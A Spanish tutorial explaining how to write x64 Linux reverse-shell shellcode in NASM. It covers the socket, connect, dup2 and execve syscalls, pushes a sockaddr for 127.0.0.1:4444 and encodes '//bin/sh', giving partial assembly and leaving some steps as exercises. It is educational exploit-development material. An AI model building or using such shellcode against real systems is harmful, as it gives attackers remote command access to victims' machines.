Una pequeña explicación de como realizar una shell para linux_x64.
Veamos unos conceptos básicos, está explicación es realizado en nasm, esta forma no es única, hay varias formas, todo depende de tu imaginación y de como te atrevas a programarlo.
Explicaré una forma básicas de una shell pequeña, lo demás es bajo tu creatividad y responsabilidad.
Algo que debes tener en cuenta para poder realizarlo, es saber manejar registros en ASM y sus ejecuciones, dejo un link a una página donde puedes aprender más.
Architecture/x64-assembly| Registros |
|||||
| 64 bit |
32 bit |
Explicación |
|||
| 64 bit |
rax, rbx, rcx, rdx, rsi, rdi |
--- |
Los registros a utilizar son rdi, rsi, rdx, r8 - r10, etc. |
||
| 32 bit |
--- |
eax, ebx, ecx, edx, esi, edi |
Los registros a utilizar son ebx, edx, ecx, edx, esi, edi, etc. |
||
| Memoria | Bits | Bytes | Registro | Access-Memory | Allocate-Memory |
| char | 8 | 1 | al | BYTE [ptr] | db |
| short | 16 | 2 | ax | WORD [ptr] | dw |
| int | 32 | 4 | eax | DWORD [ptr] | dd |
| long | 64 | 8 | rax | QWORD [ptr] | dq |
Para compilar: nasm -felf64 .nasm
ld .o -o
En x86 había que invocar un call a socket en 64bits ya no es necesario, veamos ahora será más directo la ejecución.
Antes que nada, es bueno que busques esta información en el código fuente de linux, por lo general se encuentran en:
/usr/include/asm/unistd_64.h
/usr/include/linux/net.h
Vamos a necesitar varios.
#define __NR_socket 41
#define __NR_connect 42
#define __NR_dup2 63
#define __NR_execve 59
#define SYS_SOCKET 1
Los syscall en linux 64bits son "syscall"
Así que debemos poner mov al, 41 , ¿porqué?, porque los call buscan a eax para saber que van a realizar y los parametros se encuentran en los siguientes registros (rdi, rsi, rdx, etc). Link para mayor entendimiento ABI call
En seguida debemos usar esta funcion basandonos en los siguientes parametro.
int socket(int domain, int type, int protocol) - (rdi, rsi, rdx)Tipo de datos
| Domain | Type | Protocol |
| AF_INET | | SOCK_STREAM | | IPPROTO_IP |
| 2 | | 1 | | 0 |
Con eso podemos saber que es lo que necesitamos, solo hay que meter en cada registro el dato necesario.
Pero antes debemos saber como meter todos esos datos. La mejor opción es meter todo a la pila, para eso sirven los push.
xor, hace una comparación tipo not, por ejemplo, si fuera rax=1, con xor podemos decir: rax=1 not rax=1; resultado = 0
inc, incrementa +1 un registro, por ejemplo, si fuera rax=1, entonces, inc rax, sería ahora rax = 2
pop, saca de la pila el ultimo registro guardado, por ejemplo, push 0x1; push 0x2; entonces, pop rax, sería ahora rax = 2, pop rax, entonces ahora rax = 1
xor rdi, rdi = 0
mov al, 41
(socket)
xor rdx, rdx = 0
inc rdi
push rdi = 0x1
pop rsi
inc rdi
(2,1,0)
¿Cómo quedaría entonces?
rax = socket
rdi = 2 (AF_INET)
rsi = 1 (SOCK_STREA)
rdx = 0 (IPPROTO_TCP)
syscall

Repetimos lo mismo ahora para darle indicaciones a connect
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
La respuesta del sistema siempre se guarda en rax, así que solo habrá que hacer un cambio con xchg, para no complicarnos la vida lo hacemos directamente con el registro que lo usará posteriormente, r8.
xchg r8, rax
Repetimos la mismo que arriba segun la estructura sockaddr_in.
;struct sockaddr_in {
; __kernel_sa_family_t sin_family; /* Address family */
; __be16 sin_port; /* Port number */
; struct in_addr sin_addr; /* Internet address */
;};
Veamos como quedaría.
push 0x0100007f = 127.0.0.1
push word 0x5c11 = 4444
push word 0x2 = AF_INET
Guardamos eso en el registro que se va a usar posteriormente y volvemos a repetir.
push 42 = connect
pop rax - así borramos todo lo guardado en rax*
push 0x10 = (size of struct)
pop rdx - *
mov rsi, rsp = sockaddr_in
push r8
pop rdi, r8 = socket y aprovechamos para dup2
syscall
Ya tenemos lista la conexión, pero falta como crear una tubería para mandar y recibir datos. Para eso usaremos dup2(2).
int dup2(int oldfd, int newfd);
stdin(0)
stdout(1)
stderr(2)
Esta parte ya es más sencillo, así que se que pueden resolverlo.
Veamos que se debe hacer.
Tienes que invocar a dup2 en rax, rsi lo usaremos para el loop y rdi tiene el socket.
Para hacer ciclos de repetición, tienes que hacer uso de jumps (jne, jz, jns)
Por ejemplo:
mov rsi, 0x3
salto:
dec rsi
jns salto
Si ya entendieron el concepto, esto es muy sencillo.
Ahora hay que repetir la formula de arriba para usar /bin/bash.
En realidad es "/bin/sh0"... es muy importante el null al final, para que el sistema entienda que ahí termina la cadena de caracteres y se detenga.
Recuerda que se debe poner al reves por el sistema "Endianness"
Te coloco un link con la explicación detallada sobre eso.
Endiannes"hs//nib/" <--- Encuentra los hexadecimales.
El proceso es el mismo, coloca en rax, execv, después pushea "/bin/bash0", colocale un null al final.
Parece difícil pero en realidad no lo es, observa.
int execve(const char *filename, char *const argv[],char *const envp[]);
rax = execv
rdi = filename,0
rsi = argv <-- 0
rdx = envp <-- 0
¿Cual es la diferencia ahora con x64?, pues que hay más espacio en memoria, antes solo se podía usar 4 bytes, ahora con 64bits son 8 bytes
mov rdi, 0x68732f6e69622f2f ;//bin/sh
Ese 0x2f, es para modificarlo con un null, pueden mover los registros hacia la derecha con shr, 8 o pueden ponerlo como null modificandolo directamente desde (mov [rsp])
Hay muchas formas, el objetivo no es que hagan lo mismo, sino que busquen su estilo para no caer en el copy-paste.
Listo.
Si deseas el código completo puede apoyarme en patreon, ahí encontraras el código y más. Patreon
En github se encuentra parte del código como referencia. Github